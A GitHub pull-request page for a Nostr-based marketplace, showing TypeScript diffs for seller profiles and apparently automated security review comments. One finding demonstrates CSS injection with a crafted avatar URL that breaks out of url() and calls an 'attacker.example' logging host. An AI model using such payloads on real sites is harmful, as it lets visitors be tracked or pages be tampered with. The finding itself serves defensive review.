-
Notifications
You must be signed in to change notification settings - Fork 0
[codex] Add signed Nostr seller profiles #12
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,33 @@ | ||
| import { errorResponse, jsonResponse, readJson, validationErrorResponse } from "@/lib/api"; | ||
| import { sellerToPublicJson } from "@/lib/event-mapping"; | ||
| import { verifyNostrEvent } from "@/lib/nostr"; | ||
| import { getRepository } from "@/lib/repository"; | ||
| import { parseSellerProfileContent } from "@/lib/seller-profile"; | ||
| import { SellerProfileRequestSchema } from "@/lib/validation"; | ||
|
|
||
| export async function POST(request: Request) { | ||
| try { | ||
| const parsed = SellerProfileRequestSchema.parse(await readJson(request)); | ||
| const verification = verifyNostrEvent(parsed.event); | ||
|
|
||
| if (!verification.ok) { | ||
| return errorResponse( | ||
| { | ||
| code: verification.code, | ||
| message: verification.message, | ||
| }, | ||
| 422, | ||
| ); | ||
| } | ||
|
|
||
| const profile = parseSellerProfileContent(parsed.event.content); | ||
| const result = await getRepository().upsertSellerProfileFromEvent(parsed.event, profile); | ||
|
|
||
| return jsonResponse({ | ||
| seller: sellerToPublicJson(result.seller, { includeTimestamps: true }), | ||
| profile_updated: result.profileUpdated, | ||
| }); | ||
| } catch (error) { | ||
| return validationErrorResponse(error); | ||
| } | ||
| } | ||
|
Comment on lines
+8
to
+33
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Future-dated
Consider rejecting (or at least clamping) events whose 🛡️ Suggested guard before signature verification const parsed = SellerProfileRequestSchema.parse(await readJson(request));
+ const nowSeconds = Math.floor(Date.now() / 1000);
+ if (parsed.event.created_at > nowSeconds + 15 * 60) {
+ return errorResponse(
+ {
+ code: "event_created_at_in_future",
+ message: "Event created_at is too far in the future.",
+ },
+ 422,
+ );
+ }
const verification = verifyNostrEvent(parsed.event);🤖 Prompt for AI Agents |
||
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -1,4 +1,5 @@ | ||||||||||||||||||||||||||||||||||||||||||||
| import { jsonResponse, readJson, validationErrorResponse } from "@/lib/api"; | ||||||||||||||||||||||||||||||||||||||||||||
| import { sellerToPublicJson } from "@/lib/event-mapping"; | ||||||||||||||||||||||||||||||||||||||||||||
| import { getRepository } from "@/lib/repository"; | ||||||||||||||||||||||||||||||||||||||||||||
| import { SellerRegisterSchema } from "@/lib/validation"; | ||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||
|
|
@@ -15,15 +16,7 @@ export async function POST(request: Request) { | |||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||
| return jsonResponse( | ||||||||||||||||||||||||||||||||||||||||||||
| { | ||||||||||||||||||||||||||||||||||||||||||||
| seller: { | ||||||||||||||||||||||||||||||||||||||||||||
| id: seller.id, | ||||||||||||||||||||||||||||||||||||||||||||
| pubkey: seller.pubkey, | ||||||||||||||||||||||||||||||||||||||||||||
| display_name: seller.displayName, | ||||||||||||||||||||||||||||||||||||||||||||
| contact_method_type: seller.contactMethodType, | ||||||||||||||||||||||||||||||||||||||||||||
| contact_method_value: seller.contactMethodValue, | ||||||||||||||||||||||||||||||||||||||||||||
| wallet_type: seller.walletType, | ||||||||||||||||||||||||||||||||||||||||||||
| status: seller.status, | ||||||||||||||||||||||||||||||||||||||||||||
| }, | ||||||||||||||||||||||||||||||||||||||||||||
| seller: sellerToPublicJson(seller), | ||||||||||||||||||||||||||||||||||||||||||||
| }, | ||||||||||||||||||||||||||||||||||||||||||||
| { status: 201 }, | ||||||||||||||||||||||||||||||||||||||||||||
| ); | ||||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
17
to
22
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🧩 Analysis chain🏁 Script executed: #!/bin/bash
# Confirm callers of /api/sellers/register don't depend on created_at/updated_at; cross-check sibling routes' option usage.
rg -nP -C3 'sellerToPublicJson\s*\(' --type=ts
rg -nP -C3 '/api/sellers/register' --type=ts --type=tsx --type=mdRepository: ATLBitLab/freeport Length of output: 2282 Inconsistent timestamps in seller registration response. The registration endpoint calls 🔧 Proposed fix- seller: sellerToPublicJson(seller),
+ seller: sellerToPublicJson(seller, { includeTimestamps: true }),📝 Committable suggestion
Suggested change
🤖 Prompt for AI Agents |
||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -4,6 +4,7 @@ import { ArrowLeft, ExternalLink } from "lucide-react"; | |
|
|
||
| import { CATEGORY_LABELS } from "@/lib/constants"; | ||
| import { getRepository } from "@/lib/repository"; | ||
| import { sellerAvatarInitial, sellerDisplayName } from "@/lib/seller-profile"; | ||
|
|
||
| export default async function ListingDetailPage({ params }: { params: Promise<{ id: string }> }) { | ||
| const { id } = await params; | ||
|
|
@@ -13,6 +14,14 @@ export default async function ListingDetailPage({ params }: { params: Promise<{ | |
| notFound(); | ||
| } | ||
|
|
||
| const sellerName = sellerDisplayName(listing.seller); | ||
| const pictureUrl = listing.seller?.profilePictureUrl; | ||
| const sellerProfileRows = [ | ||
| ["Website", listing.seller?.profileWebsite], | ||
| ["NIP-05", listing.seller?.profileNip05], | ||
| ["Lightning", listing.seller?.profileLud16], | ||
| ].filter((row): row is [string, string] => Boolean(row[1])); | ||
|
|
||
| return ( | ||
| <main className="container-shell flex-1 py-10"> | ||
| <div className="grid gap-8"> | ||
|
|
@@ -53,10 +62,48 @@ export default async function ListingDetailPage({ params }: { params: Promise<{ | |
|
|
||
| <aside className="grid content-start gap-4"> | ||
| <div className="card grid gap-4 p-5"> | ||
| <div> | ||
| <p className="label text-[var(--muted)]">Seller</p> | ||
| <p className="mt-1 text-lg font-black">{listing.seller?.displayName ?? "Unknown seller"}</p> | ||
| <div className="flex items-start gap-3"> | ||
| <div | ||
| className="grid h-14 w-14 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-xl font-black text-[var(--accent-dark)]" | ||
| style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined} | ||
| aria-hidden | ||
| > | ||
| {pictureUrl ? null : sellerAvatarInitial(listing.seller)} | ||
| </div> | ||
|
Comment on lines
+65
to
+72
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🧩 Analysis chain🏁 Script executed: #!/bin/bash
rg -nP -C3 '\b(picture|profile_picture|profilePictureUrl)\b' --type=ts
ast-grep --pattern 'z.string().url($$$)'Repository: ATLBitLab/freeport Length of output: 9199 🏁 Script executed: cat -n lib/validation.ts | head -100Repository: ATLBitLab/freeport Length of output: 3736 🏁 Script executed: cat -n lib/seller-profile.ts | sed -n '30,60p'Repository: ATLBitLab/freeport Length of output: 1220 🏁 Script executed: cat -n app/listings/\[id\]/page.tsx | sed -n '1,80p'Repository: ATLBitLab/freeport Length of output: 4417 🏁 Script executed: cat -n lib/seller-profile.ts | sed -n '41,70p'Repository: ATLBitLab/freeport Length of output: 1150 🏁 Script executed: cat -n lib/seller-profile.ts | grep -A 5 "STRING_LIMITS"Repository: ATLBitLab/freeport Length of output: 790 🏁 Script executed: # Test if the attack URL passes the URL constructor validation
python3 << 'EOF'
try:
from urllib.parse import urlparse
attack_url = 'https://ok.example/a.png"), url(https://attacker.example/log?ip='
parsed = urlparse(attack_url)
print(f"URL parsed successfully: {parsed}")
print(f"Scheme: {parsed.scheme}")
print(f"Netloc: {parsed.netloc}")
print(f"Path: {parsed.path}")
except Exception as e:
print(f"Error: {e}")
EOFRepository: ATLBitLab/freeport Length of output: 306 🏁 Script executed: # Also check with Node's URL constructor behavior
node << 'EOF'
try {
const attackUrl = 'https://ok.example/a.png"), url(https://attacker.example/log?ip=';
const url = new URL(attackUrl);
console.log("URL parsed successfully");
console.log("href:", url.href);
console.log("pathname:", url.pathname);
} catch (e) {
console.log("Error:", e.message);
}
EOFRepository: ATLBitLab/freeport Length of output: 218 CSS injection / SSRF-on-render risk via The upstream validator in Validation does not and cannot escape the CSS metacharacters ( ♻️ Suggested safer rendering- <div
- className="grid h-14 w-14 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-xl font-black text-[var(--accent-dark)]"
- style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}
- aria-hidden
- >
- {pictureUrl ? null : sellerAvatarInitial(listing.seller)}
- </div>
+ <div className="grid h-14 w-14 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] text-xl font-black text-[var(--accent-dark)]" aria-hidden>
+ {pictureUrl ? (
+ // eslint-disable-next-line `@next/next/no-img-element`
+ <img src={pictureUrl} alt="" className="h-full w-full object-cover" />
+ ) : (
+ sellerAvatarInitial(listing.seller)
+ )}
+ </div>🤖 Prompt for AI Agents |
||
| <div className="min-w-0"> | ||
| <p className="label text-[var(--muted)]">Seller</p> | ||
| <p className="mt-1 break-words text-lg font-black">{sellerName}</p> | ||
| {listing.seller?.profileBot !== null && listing.seller?.profileBot !== undefined ? ( | ||
| <span className="chip mt-2 inline-flex text-xs font-bold"> | ||
| Bot: {listing.seller.profileBot ? "yes" : "no"} | ||
| </span> | ||
| ) : null} | ||
| </div> | ||
| </div> | ||
| {listing.seller?.profileAbout ? ( | ||
| <p className="text-sm leading-6 text-[var(--muted)]">{listing.seller.profileAbout}</p> | ||
| ) : null} | ||
| {sellerProfileRows.length ? ( | ||
| <div className="grid gap-3 border-t border-[var(--line)] pt-4"> | ||
| {sellerProfileRows.map(([label, value]) => ( | ||
| <div key={label} className="grid gap-1"> | ||
| <p className="label text-[var(--muted)]">{label}</p> | ||
| {label === "Website" ? ( | ||
| <a | ||
| className="break-all text-sm font-bold underline" | ||
| href={value} | ||
| target="_blank" | ||
| rel="noreferrer" | ||
| > | ||
| {value} | ||
| </a> | ||
|
Comment on lines
+91
to
+99
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Confirm
🛡️ Render-time guard fallback- {label === "Website" ? (
- <a
- className="break-all text-sm font-bold underline"
- href={value}
- target="_blank"
- rel="noreferrer"
- >
- {value}
- </a>
+ {label === "Website" && /^https?:\/\//i.test(value) ? (
+ <a
+ className="break-all text-sm font-bold underline"
+ href={value}
+ target="_blank"
+ rel="noreferrer"
+ >
+ {value}
+ </a>#!/bin/bash
rg -nP -C3 'profileWebsite|\bwebsite\b' --type=ts -g '!**/node_modules/**'🤖 Prompt for AI Agents |
||
| ) : ( | ||
| <p className="break-all text-sm font-bold">{value}</p> | ||
| )} | ||
| </div> | ||
| ))} | ||
| </div> | ||
| ) : null} | ||
| <div className="grid gap-1"> | ||
| <p className="label text-[var(--muted)]">Pubkey</p> | ||
| <p className="break-all font-mono text-xs leading-5">{listing.seller?.pubkey}</p> | ||
|
|
||
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|
@@ -2,6 +2,7 @@ import Link from "next/link"; | |||||||||||||||||||||||||||||||
| import { ArrowUpRight, Bot, Cable, Workflow } from "lucide-react"; | ||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||
| import { CATEGORY_LABELS } from "@/lib/constants"; | ||||||||||||||||||||||||||||||||
| import { sellerAvatarInitial, sellerDisplayName } from "@/lib/seller-profile"; | ||||||||||||||||||||||||||||||||
| import type { ListingWithSeller } from "@/lib/types"; | ||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||
| const icons = { | ||||||||||||||||||||||||||||||||
|
|
@@ -18,6 +19,8 @@ const iconTones = { | |||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||
| export function ListingCard({ listing }: { listing: ListingWithSeller }) { | ||||||||||||||||||||||||||||||||
| const Icon = icons[listing.category]; | ||||||||||||||||||||||||||||||||
| const sellerName = sellerDisplayName(listing.seller); | ||||||||||||||||||||||||||||||||
| const pictureUrl = listing.seller?.profilePictureUrl; | ||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||
| return ( | ||||||||||||||||||||||||||||||||
| <article className="h-full"> | ||||||||||||||||||||||||||||||||
|
|
@@ -50,9 +53,18 @@ export function ListingCard({ listing }: { listing: ListingWithSeller }) { | |||||||||||||||||||||||||||||||
| </div> | ||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||
| <div className="flex items-center justify-between gap-4 border-t border-[var(--line)] pt-4"> | ||||||||||||||||||||||||||||||||
| <div className="min-w-0"> | ||||||||||||||||||||||||||||||||
| <p className="label text-[var(--muted)]">Seller</p> | ||||||||||||||||||||||||||||||||
| <p className="truncate text-sm font-bold">{listing.seller?.displayName ?? listing.seller?.pubkey}</p> | ||||||||||||||||||||||||||||||||
| <div className="flex min-w-0 items-center gap-3"> | ||||||||||||||||||||||||||||||||
| <div | ||||||||||||||||||||||||||||||||
| className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-sm font-black text-[var(--accent-dark)]" | ||||||||||||||||||||||||||||||||
| style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined} | ||||||||||||||||||||||||||||||||
| aria-hidden | ||||||||||||||||||||||||||||||||
| > | ||||||||||||||||||||||||||||||||
| {pictureUrl ? null : sellerAvatarInitial(listing.seller)} | ||||||||||||||||||||||||||||||||
| </div> | ||||||||||||||||||||||||||||||||
|
Comment on lines
+57
to
+63
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same If ♻️ Suggested change- <div
- className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-sm font-black text-[var(--accent-dark)]"
- style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}
- aria-hidden
- >
- {pictureUrl ? null : sellerAvatarInitial(listing.seller)}
- </div>
+ <div className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] text-sm font-black text-[var(--accent-dark)]" aria-hidden>
+ {pictureUrl ? (
+ // eslint-disable-next-line `@next/next/no-img-element`
+ <img src={pictureUrl} alt="" className="h-full w-full object-cover" />
+ ) : (
+ sellerAvatarInitial(listing.seller)
+ )}
+ </div>📝 Committable suggestion
Suggested change
🤖 Prompt for AI Agents |
||||||||||||||||||||||||||||||||
| <div className="min-w-0"> | ||||||||||||||||||||||||||||||||
| <p className="label text-[var(--muted)]">Seller</p> | ||||||||||||||||||||||||||||||||
| <p className="truncate text-sm font-bold">{sellerName}</p> | ||||||||||||||||||||||||||||||||
| </div> | ||||||||||||||||||||||||||||||||
| </div> | ||||||||||||||||||||||||||||||||
| <span className="button-ghost listing-card-cue shrink-0 !px-3" aria-hidden="true"> | ||||||||||||||||||||||||||||||||
| <ArrowUpRight size={16} aria-hidden /> | ||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,10 @@ | ||
| { | ||
| "name": "Review Cartographer", | ||
| "display_name": "Review Cartographer", | ||
| "about": "PR review synthesis for maintainers and implementation agents.", | ||
| "picture": "https://example.com/freeport/review-cartographer.png", | ||
| "website": "https://example.com/agents/review-cartographer", | ||
| "nip05": "review@example.com", | ||
| "lud16": "review@example.com", | ||
| "bot": true | ||
| } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🧩 Analysis chain
🏁 Script executed:
Repository: ATLBitLab/freeport
Length of output: 1460
🏁 Script executed:
Repository: ATLBitLab/freeport
Length of output: 1435
🏁 Script executed:
Repository: ATLBitLab/freeport
Length of output: 117
🏁 Script executed:
Repository: ATLBitLab/freeport
Length of output: 44
🏁 Script executed:
Repository: ATLBitLab/freeport
Length of output: 4280
🏁 Script executed:
Repository: ATLBitLab/freeport
Length of output: 510
🏁 Script executed:
Repository: ATLBitLab/freeport
Length of output: 1584
Return appropriate HTTP status codes for database errors instead of routing them as 400 validation errors.
The single
catchblock catches both validation errors fromparseSellerProfileContent(plainError) and database/network errors fromupsertSellerProfileFromEvent. Both are routed throughvalidationErrorResponse, which returns 400 for non-Zod errors. This masks transient DB failures asbad_request, breaking retry semantics—HTTP clients and load balancers treat 4xx as non-retryable, while 5xx errors trigger proper retry logic. Consider separating validation errors (return viavalidationErrorResponse) from operational failures (return 5xx).This pattern is present across multiple API routes in the codebase and should be addressed systematically.
🤖 Prompt for AI Agents